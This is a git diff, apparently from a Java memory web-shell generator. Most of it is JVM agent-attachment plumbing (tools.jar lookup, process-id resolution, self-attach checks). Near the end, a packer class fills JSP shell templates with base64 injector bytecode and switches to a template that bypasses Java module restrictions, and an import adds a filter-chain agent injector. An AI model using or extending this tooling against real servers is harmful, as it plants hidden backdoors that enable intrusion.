* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*
|
||||||
|
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||||
|
*/
|
||||||
|
boolean isExternalAttachmentRequired();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||||
|
*
|
||||||
|
* @return The virtual machine type.
|
||||||
|
*/
|
||||||
|
Class<?> getVirtualMachineType();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns a description of a virtual machine class for an external attachment.
|
||||||
|
*
|
||||||
|
* @return A description of the external attachment.
|
||||||
|
*/
|
||||||
|
ExternalAttachment getExternalAttachment();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A canonical implementation of an unavailable accessor.
|
||||||
|
*/
|
||||||
|
enum Unavailable implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Describes an external attachment to a Java virtual machine.
|
||||||
|
*/
|
||||||
|
class ExternalAttachment {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final String virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||||
|
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the fully-qualified binary name of the virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The fully-qualified binary name of the virtual machine type.
|
||||||
|
*/
|
||||||
|
public String getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||||
|
*
|
||||||
|
* @return The class path elements required for loading the supplied virtual machine type.
|
||||||
|
*/
|
||||||
|
public List<File> getClassPath() {
|
||||||
|
return classPath;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor.
|
||||||
|
*/
|
||||||
|
abstract class Simple implements Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected final Class<?> virtualMachineType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
protected Simple(Class<?> virtualMachineType) {
|
||||||
|
this.virtualMachineType = virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||||
|
* @param classPath The class path required to load the virtual machine class.
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||||
|
false,
|
||||||
|
classLoader), Arrays.asList(classPath));
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||||
|
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @return An appropriate accessor.
|
||||||
|
*/
|
||||||
|
public static Accessor ofJ9() {
|
||||||
|
try {
|
||||||
|
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||||
|
Collections.<File>emptyList());
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
return Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isAvailable() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Class<?> getVirtualMachineType() {
|
||||||
|
return virtualMachineType;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithExternalAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
private final List<File> classPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that allows for external attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||||
|
* @param classPath The class path required for loading the virtual machine type.
|
||||||
|
*/
|
||||||
|
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
this.classPath = classPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||||
|
*/
|
||||||
|
protected static class WithDirectAttachment extends Simple {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new simple accessor that implements direct attachment.
|
||||||
|
*
|
||||||
|
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||||
|
*/
|
||||||
|
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||||
|
super(virtualMachineType);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean isExternalAttachmentRequired() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public ExternalAttachment getExternalAttachment() {
|
||||||
|
throw new IllegalStateException("Cannot apply external attachment");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||||
|
* introducing the Java module system via the {@code jdk.attach} module.
|
||||||
|
*/
|
||||||
|
enum ForModularizedVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||||
|
* an IBM J9 VM.
|
||||||
|
*/
|
||||||
|
enum ForJ9Vm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
return Accessor.Simple.ofJ9();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||||
|
* file system.
|
||||||
|
*/
|
||||||
|
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||||
|
*/
|
||||||
|
JVM_ROOT("../lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||||
|
* In practice, several virtual machines do not return the JRE's location for the
|
||||||
|
* <i>java.home</i> property against the property's specification.
|
||||||
|
*/
|
||||||
|
JDK_ROOT("lib/tools.jar"),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||||
|
* installations on Apple Macintosh computers.
|
||||||
|
*/
|
||||||
|
MACINTOSH("../Classes/classes.jar");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The Java home system property.
|
||||||
|
*/
|
||||||
|
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
private final String toolsJarPath;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||||
|
*
|
||||||
|
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||||
|
*/
|
||||||
|
ForStandardToolsJarVm(String toolsJarPath) {
|
||||||
|
this.toolsJarPath = toolsJarPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||||
|
try {
|
||||||
|
return toolsJar.isFile() && toolsJar.canRead()
|
||||||
|
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||||
|
: Accessor.Unavailable.INSTANCE;
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||||
|
*/
|
||||||
|
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singelton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The property being read for locating {@code tools.jar}.
|
||||||
|
*/
|
||||||
|
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
String location = System.getProperty(PROPERTY);
|
||||||
|
if (location == null) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
} else {
|
||||||
|
File toolsJar = new File(location);
|
||||||
|
try {
|
||||||
|
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||||
|
} catch (MalformedURLException exception) {
|
||||||
|
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||||
|
*/
|
||||||
|
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
try {
|
||||||
|
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||||
|
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||||
|
* non-available accessor is returned.
|
||||||
|
*/
|
||||||
|
class Compound implements AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
private final List<AttachmentProvider> attachmentProviders;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(AttachmentProvider... attachmentProvider) {
|
||||||
|
this(Arrays.asList(attachmentProvider));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new compound attachment provider.
|
||||||
|
*
|
||||||
|
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||||
|
*/
|
||||||
|
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||||
|
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
if (attachmentProvider instanceof Compound) {
|
||||||
|
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||||
|
} else {
|
||||||
|
this.attachmentProviders.add(attachmentProvider);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public Accessor attempt() {
|
||||||
|
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||||
|
Accessor accessor = attachmentProvider.attempt();
|
||||||
|
if (accessor.isAvailable()) {
|
||||||
|
return accessor;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Accessor.Unavailable.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider is responsible for providing the process id of the current VM.
|
||||||
|
*/
|
||||||
|
public interface ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolves a process id for the current JVM.
|
||||||
|
*
|
||||||
|
* @return The resolved process id.
|
||||||
|
*/
|
||||||
|
String resolve();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
enum ForCurrentVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The best process provider for the current VM.
|
||||||
|
*/
|
||||||
|
private final ProcessProvider dispatcher;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a process provider that supplies the current VM's process id.
|
||||||
|
*/
|
||||||
|
ForCurrentVm() {
|
||||||
|
dispatcher = ForJava9CapableVm.make();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
return dispatcher.resolve();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||||
|
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||||
|
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||||
|
*/
|
||||||
|
protected enum ForLegacyVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
String runtimeName;
|
||||||
|
try {
|
||||||
|
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||||
|
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||||
|
}
|
||||||
|
int processIdIndex = runtimeName.indexOf('@');
|
||||||
|
if (processIdIndex == -1) {
|
||||||
|
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||||
|
} else {
|
||||||
|
return runtimeName.substring(0, processIdIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||||
|
*/
|
||||||
|
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||||
|
* if this is not possible.
|
||||||
|
*
|
||||||
|
* @return A dispatcher for the current VM.
|
||||||
|
*/
|
||||||
|
public static ProcessProvider make() {
|
||||||
|
try {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return ForLegacyVm.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public String resolve() {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString();
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||||
|
*/
|
||||||
|
protected interface AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Provides an agent jar file for attachment.
|
||||||
|
*
|
||||||
|
* @return The provided agent.
|
||||||
|
* @throws IOException If the agent cannot be written to disk.
|
||||||
|
*/
|
||||||
|
File resolve() throws IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||||
|
*/
|
||||||
|
class ForExistingAgent implements AgentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The supplied agent.
|
||||||
|
*/
|
||||||
|
private final File agent;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates an agent provider for an existing agent.
|
||||||
|
*
|
||||||
|
* @param agent The supplied agent.
|
||||||
|
*/
|
||||||
|
protected ForExistingAgent(File agent) {
|
||||||
|
this.agent = agent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public File resolve() {
|
||||||
|
return agent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||||
|
*/
|
||||||
|
protected interface AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Checks if the current VM requires external attachment for the supplied process id.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the process to which to attach.
|
||||||
|
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||||
|
*/
|
||||||
|
boolean requiresExternalAttachment(String processId);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An installation action for creating an attachment type evaluator.
|
||||||
|
*/
|
||||||
|
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||||
|
*/
|
||||||
|
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public AttachmentTypeEvaluator run() {
|
||||||
|
try {
|
||||||
|
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
} else {
|
||||||
|
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||||
|
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return Disabled.INSTANCE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that never requires external attachment.
|
||||||
|
*/
|
||||||
|
enum Disabled implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The singleton instance.
|
||||||
|
*/
|
||||||
|
INSTANCE;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment type evaluator that checks a process id against the current process id.
|
||||||
|
*/
|
||||||
|
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
*/
|
||||||
|
private final Method current;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
private final Method pid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a new attachment type evaluator.
|
||||||
|
*
|
||||||
|
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||||
|
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||||
|
*/
|
||||||
|
protected ForJava9CapableVm(Method current, Method pid) {
|
||||||
|
this.current = current;
|
||||||
|
this.pid = pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
public boolean requiresExternalAttachment(String processId) {
|
||||||
|
try {
|
||||||
|
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||||
|
} catch (IllegalAccessException exception) {
|
||||||
|
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||||
|
} catch (InvocationTargetException exception) {
|
||||||
|
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2887
File diff suppressed because it is too large
Load Diff
+2
-2
@@ -12,11 +12,11 @@ import java.util.Objects;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/26
|
* @since 2024/11/26
|
||||||
*/
|
*/
|
||||||
public class DefalutJspPacker implements Packer {
|
public class ClassLoaderJspPacker implements Packer {
|
||||||
|
|
||||||
String jspTemplate = null;
|
String jspTemplate = null;
|
||||||
|
|
||||||
public DefalutJspPacker() {
|
public ClassLoaderJspPacker() {
|
||||||
try {
|
try {
|
||||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
+41
@@ -0,0 +1,41 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jsp;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/26
|
||||||
|
*/
|
||||||
|
public class DefineClassJspPacker implements Packer {
|
||||||
|
|
||||||
|
String template = null;
|
||||||
|
String bypassTemplate = null;
|
||||||
|
|
||||||
|
public DefineClassJspPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||||
|
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
String template = this.template;
|
||||||
|
if (generateResult.getShellConfig().needByPassJavaModule()) {
|
||||||
|
template = bypassTemplate;
|
||||||
|
}
|
||||||
|
return template.replace("{{className}}", injectorClassName)
|
||||||
|
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
+4
-1
@@ -4,7 +4,10 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import java.util.Base64;;
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
